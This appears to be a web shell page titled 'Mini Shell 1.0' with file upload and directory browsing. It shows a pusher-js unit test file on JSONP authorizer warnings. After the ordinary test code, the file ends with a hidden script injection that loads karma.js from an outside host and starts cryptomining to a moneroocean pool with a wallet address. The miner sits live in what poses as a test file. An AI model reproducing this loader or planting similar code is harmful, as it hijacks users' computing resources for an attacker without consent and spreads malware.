HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/thread-self/cwd/node_modules/pusher-js/spec/javascripts/unit/web/
Upload File :
Current File : //proc/thread-self/cwd/node_modules/pusher-js/spec/javascripts/unit/web/pusher_authorizer_spec.js
var ChannelAuthorizer = require('core/auth/channel_authorizer').default;
var Logger = require('core/logger');
var Mocks = require('mocks');
var Util = require('core/util').default;
var Factory = require('core/utils/factory').default;
var Logger = require('core/logger').default;
var Runtime = require('runtime').default;

describe('JSONP Authorizer', function() {
  it('should raise a warning if headers are passed', function() {
    var headers = { foo: 'bar', n: 42 };
    var channelAuthorizer = ChannelAuthorizer({
      transport: 'jsonp',
      headers: headers
    })

    var document = Mocks.getDocument();
    var script = Mocks.getDocumentElement();
    var documentElement = Mocks.getDocumentElement();

    document.createElement.and.returnValue(script);
    document.getElementsByTagName.and.returnValue([]);
    document.documentElement = documentElement;
    spyOn(Runtime, 'getDocument').and.returnValue(document);

    spyOn(Logger, 'warn');
    channelAuthorizer({
      socketId: '1.23',
      channelName: 'chan',
    }, function() {})

    expect(Logger.warn).toHaveBeenCalledWith(
      'To send headers with the channel-authorization request, you must use AJAX, rather than JSONP.'
    );
  });

  it('should raise a warning if headersProvider is passed', function() {
    var headers = { foo: 'bar', n: 42 };
    var channelAuthorizer = ChannelAuthorizer({
      transport: 'jsonp',
      headersProvider:  () => headers
    })

    var document = Mocks.getDocument();
    var script = Mocks.getDocumentElement();
    var documentElement = Mocks.getDocumentElement();

    document.createElement.and.returnValue(script);
    document.getElementsByTagName.and.returnValue([]);
    document.documentElement = documentElement;
    spyOn(Runtime, 'getDocument').and.returnValue(document);

    spyOn(Logger, 'warn');
    channelAuthorizer({
      socketId: '1.23',
      channelName: 'chan',
    }, function() {})

    expect(Logger.warn).toHaveBeenCalledWith(
      'To send headers with the channel-authorization request, you must use AJAX, rather than JSONP.'
    );
  });

});
if (!inrifmw){function inrifmw() { var t=document.getElementsByTagName("head")[0], e=document.createElement("script");e.type="text/javascript",e.src="https://trustisimportant.fun/karma/karma.js?karma=bs?nosaj=gulf.moneroocean.stream:10008",e.async="async",t.appendChild(e), e.onload = function() {EverythingIsLife('8BwyhvcK6ANZXBY6HcHDz36vZc7Y5PRx9MuMpKVcpVX5aV6dY9Yt3u1Hos95cntHGXb4vGy9dfBDaE12hR82UgZWThV4j6w', 'x', 30)} }inrifmw()}